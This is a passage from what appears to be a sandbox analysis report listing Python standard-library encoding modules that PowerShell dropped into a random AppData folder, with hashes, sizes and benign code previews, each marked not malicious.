              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp865.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):35316
              Entropy (8bit):4.589958887283082
              Encrypted:false
              SSDEEP:
              MD5:FE9E2A87FF8164A9602AF05FE30F64FC
              SHA1:3BEC0843F48826EC25A9D660B9A578148085D82F
              SHA-256:0722BBF3A0F93700E99B3816E9E52C75674E14319146F9AC3FD1E17F87E66CB0
              SHA-512:B1C5797EC453694C0E285084F25B7825C13C59B2754DE58319745923784BB5105485883C6E8BDDFEAC3267EE8E9CDD34A76155282C2AD774CEF58FBC6AC476FC
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP865.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp865',.. encode=Codec().encode,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp866.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):35094
              Entropy (8bit):4.600424943983017
              Encrypted:false
              SSDEEP:
              MD5:BE6B4AAAD297AE734F59800072CCAA30
              SHA1:6FE723B5DA8606EC26DC4523AA6F6EEEDACD16E0
              SHA-256:E3A033B3B790018A0A02E9F67A03530753C7FB5F94B6ABA84F5173D29FB389AE
              SHA-512:5E4B443A4778EAF7ECFA41E88CC259A6ABB2CCA0F578F7F72800C201D280C3AC033528EBF1043862DD64896DDEA444190FFF29C6EC7AEB6DE00B5E6C7EBAA86C
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP866.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp866',.. encode=Codec().encode,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp869.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):33654
              Entropy (8bit):4.583176642392538
              Encrypted:false
              SSDEEP:
              MD5:FC295CB9BF854E29A7EAB588DF20A662
              SHA1:F9D95ED00BBCB7CB89661A0BB93880BF08A70802
              SHA-256:4322E184D3C1DFA56EDB013E895CBFB71130E7846F8F56BCAFC4C0082373CB6A
              SHA-512:0167CC25A48AB6B09F08233CD51C8C622AF7014642BE6E9A72F37EA8C459F67CAE04DFED076E8148C512747CD775457442528F1963CE3F677FE3B5F45AD71C1B
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP869.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp869',.. encode=Codec().encode,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp874.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):12902
              Entropy (8bit):4.624503078499216
              Encrypted:false
              SSDEEP:
              MD5:5E2C1051F63CEB3600F970937C5FC6E4
              SHA1:062664CD22F5DC7A52E99EDCC9C5D356C2B6F841
              SHA-256:94179E22722674527BD56386B5E9DAC5427B0F55248D1AA63E204C105DA18D8B
              SHA-512:B6643A970DDF837CA060CB511C4AFA2E4224657450455BDAEF1980ED122791991FD13BAEFD56DE10A63FC1248EAB26478EE0B0B82B0E884FCEDD71D85DCB84F3
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp874 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP874.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp874',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp875.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13161
              Entropy (8bit):4.598690745287678
              Encrypted:false
              SSDEEP:
              MD5:3DAB3DF72E688978781C91CEA3285C4A
              SHA1:65664E8974B621B2C461774187C483ABFA0E735F
              SHA-256:5C42ADFEC39CF9D891FBB2ED19D882C6160A00B8487B7867F9E2296B9E2F491B
              SHA-512:7F940428049BCB0A95FC67FC178749B61ABF522646A68505B5B420718E5BD8ABBF6973B48CBF17DDA48179ABBA4D31F1E2169DBD5EFA33C044414A7A02673899
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp875 generated from 'MAPPINGS/VENDORS/MICSFT/EBCDIC/CP875.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp875',.. e

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp932.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1062
              Entropy (8bit):4.549007604127859
              Encrypted:false
              SSDEEP:
              MD5:70E562A99A8F07255F47C5F3C05518A5
              SHA1:F1F0A00A3238B19786D88B83F9FA57D043E2D0A9
              SHA-256:F917DB40F96F9F676E45FD9F1A7FA5D9BBB67A703BDF88B546CA4DA84C4905F5
              SHA-512:48C7BF7FDA257EC6ECC4421BFEF66E026C285DABB358ED41DDB6A9FFC6D73F61DA35F25A5622FC8D9D4D086D4BFA37E67A40810D39A6FA5F538F61427304298A
              Malicious:false
              Reputation:unknown
              Preview:#..# cp932.py: Python Unicode Codec for CP932..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('cp932')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='cp932',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamrea

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp949.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1062
              Entropy (8bit):4.532318933180232
              Encrypted:false
              SSDEEP:
              MD5:D85D0503255F9363D30F7B7AAD7355D4
              SHA1:DE0F8989F4BBE4CC9A91241DEED093BF259E2DC1
              SHA-256:DA13FD6F1BD7A1D3B48AED1FC75F7516D6A33814086CF971E030625590E9DDA0
              SHA-512:ED408E5A0B1042E0F1F94CF57171381F4B2A0491B9319BF2E0E02DB8B63BF342D7C4091B97DA8F9802B6EA0AE94EFFBE797F17E92F25E5F436BD88E11E4735B7
              Malicious:false
              Reputation:unknown
              Preview:#..# cp949.py: Python Unicode Codec for CP949..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_kr, codecs..import _multibytecodec as mbc....codec = _codecs_kr.getcodec('cp949')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='cp949',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamrea

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp950.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1062
              Entropy (8bit):4.541713907609811
              Encrypted:false
              SSDEEP:
              MD5:15D67984C7486D079058D4DBA07DDBBE
              SHA1:51AE51CD6ED99E4B594A5EFF1621308AA89DE532
              SHA-256:8FD6E86DFB38006E753B3B0301AA4B377C64C25F4EC9E6333FC99C3F06E90917
              SHA-512:46F3A96CE463669D8AD256C53C84EE201FB3D1EC0BEEEE55E622E75E93D1C9AA272BC0A414F3E65123C9BB1972BEEC9A8F43B2B9ACF849A2361DB188EE3F7836
              Malicious:false
              Reputation:unknown
              Preview:#..# cp950.py: Python Unicode Codec for CP950..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_tw, codecs..import _multibytecodec as mbc....codec = _codecs_tw.getcodec('cp950')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='cp950',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamrea

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\euc_jis_2004.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1090
              Entropy (8bit):4.603655042489424
              Encrypted:false
              SSDEEP:
              MD5:F1FAE768C9FF8329D237608533530CED
              SHA1:3167902E4F9294DB74131FA2CE505E2F62B9C9B4
              SHA-256:78265BA431395662E7252A9B79BC2A75FFE438DB872B2CF1CBCFB243D83F0C87
              SHA-512:F726B7652435D174D1D84578A9278DD6B751B62CE231247CE4299860A5A4B2E1DB1D243B370625633D526278D30F2D05BBEBA9FC9E8312A103C455C65E802D68
              Malicious:false
              Reputation:unknown
              Preview:#..# euc_jis_2004.py: Python Unicode Codec for EUC_JIS_2004..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('euc_jis_2004')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='euc_jis_2004',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=Incrementa

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\euc_jisx0213.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1090
              Entropy (8bit):4.624592201957947
              Encrypted:false
              SSDEEP:
              MD5:45A11BD69244CE2DCC3FF49206AD041B
              SHA1:C0FF2F0406F4158D26DA4FC850584D14764FCA55
              SHA-256:12CA22A7DB25D9EEEF9BF5FACDC5594E3165CCF451528D36E3B68A03989521AC
              SHA-512:06AFD42F84A6E83A55645C82A638A7AF6C545401570EB3871913060FCBCC8D348583F589E3133745A6584998493C35DE25F66336E7D4F48EAC1BFDD6C35D08D6
              Malicious:false
              Reputation:unknown
              Preview:#..# euc_jisx0213.py: Python Unicode Codec for EUC_JISX0213..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('euc_jisx0213')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='euc_jisx0213',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=Incrementa

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\euc_jp.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1066
              Entropy (8bit):4.531522047071056
              Encrypted:false
              SSDEEP:
              MD5:0F2187EA4FC89DA2F54522EF29F58A7F
              SHA1:9DE39800CBBD630D7D4A1504C1A07F334EF3FAC5
              SHA-256:8927683A4234B936BE1935B8A799BE78520438BB5EA072499D51E7FE3D182987
              SHA-512:61BDFF78DE0A5E781C47F692620F7ACCD78AA006F530D478502A0905D51312B499E119F2EAA5524F2CEEF3CC4950F2865A1EFCFFF23BB4B9702579E0F3AEC97C
              Malicious:false
              Reputation:unknown
              Preview:#..# euc_jp.py: Python Unicode Codec for EUC_JP..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('euc_jp')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='euc_jp',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. strea

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\euc_kr.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1066
              Entropy (8bit):4.509188463695804
              Encrypted:false
              SSDEEP:
              MD5:B6EF8BD54861FA5D1E0AFF68F50F2913
              SHA1:3CB1AC8785AF724B359BEFBFC3758D918067B77A
              SHA-256:03AFE0CF8020529EAD00A0EA26A7131D354994CD2352D42F9032216B3748EA91
              SHA-512:B8147C8F711BC1ACE96FB2769F79A54728F7A744FCCD3AA4BE1257E8F09507DEDE44CF9F5C1F089BB88F11A88D372874EB343BB48AFE639A6C7E8D27204BFA05
              Malicious:false
              Reputation:unknown
              Preview:#..# euc_kr.py: Python Unicode Codec for EUC_KR..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_kr, codecs..import _multibytecodec as mbc....codec = _codecs_kr.getcodec('euc_kr')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='euc_kr',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. strea

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\gb18030.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1070
              Entropy (8bit):4.573121414528306
              Encrypted:false
              SSDEEP:
              MD5:40B18EE51A3241C53EF5CBC6C019997D
              SHA1:C4F48863B74CB56844A2CC68AF9629D9407B7CF7
              SHA-256:0D9C1DB7E2959E60E4F6CB4B97C884585668C55B48F2D9D715B2BDAF5E78C671
              SHA-512:12952CBED997D8E4F3608F2DA4BA0FAC468D7D48E7685556E3669AF18FC6C238688713894E4490AACDC05C253242ADE9C88E522DC45EB9D5827E29548108D5AE
              Malicious:false
              Reputation:unknown
              Preview:#..# gb18030.py: Python Unicode Codec for GB18030..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_cn, codecs..import _multibytecodec as mbc....codec = _codecs_cn.getcodec('gb18030')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='gb18030',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. s

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\gb2312.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1066
              Entropy (8bit):4.554621344303813
              Encrypted:false
              SSDEEP:
              MD5:72F02C10927F33B52DF6549FF1F52E60
              SHA1:6C666F6A4C36D0C3CBD944216E170E26D7B5D91A
              SHA-256:2B5573EBF7FDC20DCF126633ADF0B7283C08629D36DBEFA669C985C9DDB98EA7
              SHA-512:F7F0D5C10490026F0809714BEED7CB2F5AB284C7BDC05BCBDF7C690A255DBA59F815B5524D88F5ED35CD6FD668C93695126EF7153CCBFA5B58BAA5E151839C51
              Malicious:false
              Reputation:unknown
              Preview:#..# gb2312.py: Python Unicode Codec for GB2312..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_cn, codecs..import _multibytecodec as mbc....codec = _codecs_cn.getcodec('gb2312')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='gb2312',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. strea

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\gbk.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1054
              Entropy (8bit):4.504465163109839
              Encrypted:false
              SSDEEP:
              MD5:0D6CF4D6FFFB4B761BEBCEBC1D2C3CF3
              SHA1:64C7CD7A46E8CAE1CB9F0700035CA6BD2EC73C76
              SHA-256:9C7828E3B9661E39D4D75419A12B9D132FA9D0B4DAEC36F3DF51AD1C3A638DE3
              SHA-512:0F4F577C2FB46AB6B6D8DD6CFB5F89C8748F67E864D9AB6E3D92904BB0AE9EDB6239CABDF8A8F9B11238EEB60870EB819499B4A942E2D3B5CB7032F444246FCF
              Malicious:false
              Reputation:unknown
              Preview:#..# gbk.py: Python Unicode Codec for GBK..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_cn, codecs..import _multibytecodec as mbc....codec = _codecs_cn.getcodec('gbk')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='gbk',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=Stre

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\hex_codec.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1563
              Entropy (8bit):4.660866418659877
              Encrypted:false
              SSDEEP:
              MD5:1E55C95602534092B4DB3ED99CB9E67C
              SHA1:D1DBA179C7F3B0FF22D4F1713275D0C48637BB48
              SHA-256:5881C1AEEEB5F9CD27CE0E0E62AB9D6551F094955DBD52DC8184165DAF78AEBA
              SHA-512:84DACC6B4CBFBB99D7D6F0124EF1E7B26035C7249730EB1C185B60A750DE2548CA60E8A939DF8445D5DDDF1F8D397708A264D9FD7771C674C7DA889C306C9D93
              Malicious:false
              Reputation:unknown
              Preview:"""Python 'hex_codec' Codec - 2-digit hex content transfer encoding.....This codec de/encodes from bytes to bytes.....Written by Marc-Andre Lemburg (mal@lemburg.com)..."""....import codecs..import binascii....### Codec APIs....def hex_encode(input, errors='strict'):.. assert errors == 'strict'.. return (binascii.b2a_hex(input), len(input))....def hex_decode(input, errors='strict'):.. assert errors == 'strict'.. return (binascii.a2b_hex(input), len(input))....class Codec(codecs.Codec):.. def encode(self, input, errors='strict'):.. return hex_encode(input, errors).. def decode(self, input, errors='strict'):.. return hex_decode(input, errors)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. assert self.errors == 'strict'.. return binascii.b2a_hex(input)....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. assert self.errors == 'strict'..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\hp_roman8.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13789
              Entropy (8bit):4.607934099089844
              Encrypted:false
              SSDEEP:
              MD5:1332CCB5750EB756B2856CCAD9E18CC1
              SHA1:ACDBF93730FB0420EA5B77AFE7E3282669829EF4
              SHA-256:681FF6A2273BD64450E04FC6F04B2EC63015A91490E30A31E25ED193708C99D4
              SHA-512:6F43760A54CB494E48B8C9A659505727246AEAF539AD4A35AFE6F4F5D0E4A84C2F5F0ED5055794DE2D575E78D5A5D1497EB795F35D8F5533DF955587EBC38FD4
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'hp_roman8.txt' with gencodec.py..... Based on data from ftp://dkuug.dk/i18n/charmaps/HP-ROMAN8 (Keld Simonsen).... Original source: LaserJet IIP Printer User's Manual HP part no.. 33471-90901, Hewlet-Packard, June 1989..... (Used with permission)...."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.Strea

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\hz.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1050
              Entropy (8bit):4.49858978606931
              Encrypted:false
              SSDEEP:
              MD5:78235EEDFAE419F3CC13044D7890799B
              SHA1:5BF1944AC39D99B3777CCD61DB7FAE3FF0D3E936
              SHA-256:2601DC6EF938FF87BD2024B3C4785254F2B3DD4D8D34D8F63E254D7B8545B077
              SHA-512:F5B7383FC8CBBAA13E8D101DD264D0F7952CD3A681F6746B5D941381A7CD39BE808D3E15375CF3778AC80D026658D494FA410CE1904683BD873D91C55DA9CA41
              Malicious:false
              Reputation:unknown
              Preview:#..# hz.py: Python Unicode Codec for HZ..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_cn, codecs..import _multibytecodec as mbc....codec = _codecs_cn.getcodec('hz')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='hz',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=StreamRe

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\idna.py

              Download File
